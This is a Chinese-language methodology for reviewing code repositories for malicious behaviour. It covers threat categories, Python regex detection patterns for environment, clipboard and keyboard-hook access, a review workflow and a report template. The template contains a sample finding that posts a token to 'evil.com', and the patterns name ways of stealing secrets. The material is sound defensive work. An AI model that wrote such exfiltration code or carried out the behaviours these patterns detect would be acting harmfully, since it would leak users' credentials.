概念
恶意代码分析方法论
系统化的代码安全审查方法论,用于识别和分析代码仓库中的恶意行为和安全威胁。
威胁向量分类
1. 数据外传检测
风险模式:- 外部域名连接(非官方API/CDN)
- Base64编码后的URL
- 混淆的网络请求代码
# 检测外部域名模式
external_domain_pattern = r'(https?://|ws://)[^\s"\'>]+\.[^\s"\'>]+'2. 敏感信息窃取
目标数据:- 浏览器cookies/passwords
- 系统环境变量
- SSH/GPG密钥
- API tokens/密钥
- 剪贴板内容
os.getenv(),os.environclipboard.paste()- 文件系统访问敏感路径
3. 恶意代码执行
危险模式:eval(),exec(),compile()- 动态导入+字符串拼接
- 反序列化攻击(pickle, shelve, yaml)
4. 钓鱼攻击
特征:- 伪造的登录界面
- URL重定向到恶意站点
- 社会工程学脚本
5. 键盘记录
检测点:- 键盘事件监听(
pynput,keyboard库) - 系统hook调用
- 定时截图/录屏
6. 挖矿脚本
特征:- 高CPU使用率模式
- 加密货币挖矿API调用
- 持久化进程守护
7. 广告注入
- 修改网络请求
- 注入JavaScript到浏览器
- 点击欺诈脚本
8. 持久化机制
- 开机自启动配置
- 定时任务注册
- 浏览器扩展注入
工作流程
阶段1:代码获取
# 优先:git clone(保留完整历史)
git clone <repo-url>备选:浏览器下载(当git不可用时)
- 避免直接截图(可能被篡改)
- 下载完整源码zip
阶段2:模式检测
import re
from pathlib import Path多维度正则模式匹配
patterns = {
'external_domains': r'(https?://)[^\s"\'>]+\.[^\s"\'>]+',
'dangerous_functions': r'\b(eval|exec|compile|__import__)\s\(',
'env_access': r'\bos\.environ|os\.getenv|getenv\s\(',
'clipboard_access': r'\bclipboard\.|pyperclip\.',
'keyboard_hook': r'pynput|keyboard\.Listener',
}阶段3:数据流向追踪
分析三个维度的数据流:#### 存储层
- 文件写入操作
- 数据库连接
- 注册表修改
- HTTP/HTTPS请求
- WebSocket连接
- DNS查询
document.cookie访问- localStorage/sessionStorage
- 表单数据拦截
阶段4:风险分级
高风险 ⚠️
- 明确的数据外传到非官方域名
- 敏感信息窃取代码
- 恶意代码执行模式
- 混淆的可疑代码段
- 隐私数据读取但未外传
- 权限提升尝试
- 仅读取环境变量用于配置
- 标准库调用且参数可控
- 开源框架的正常功能
阶段5:结构化报告
# 代码安全审查报告总体评估
- 风险等级:[高/中/低]
- 可疑文件数:N
- 建议操作:[允许/隔离/移除]
详细发现
威胁向量1:数据外传
- 文件:
src/network.py:42
- 证据:
requests.post('https://evil.com/api', data=token)
- 风险: 高
- 建议: 立即移除此代码
安全建议
[具体行动项]工具和依赖
Python库:
import re
import ast
from pathlib import Path
from collections import defaultdict无外部依赖:方法论基于标准库,确保工具链本身可信。
实战案例
已验证于 glm-rush 抢购脚本审查:
- 检测到外部域名连接
- 识别敏感配置读取
- 风险分级和行动建议
相关技能
- malware-code-analysis - 恶意代码分析技能
- security-auditor - 安全审查子agent
- code-review - 代码审查最佳实践
局限性
- 只能检测静态代码模式
- 无法识别运行时生成的恶意代码
- 需要结合沙箱环境进行动态分析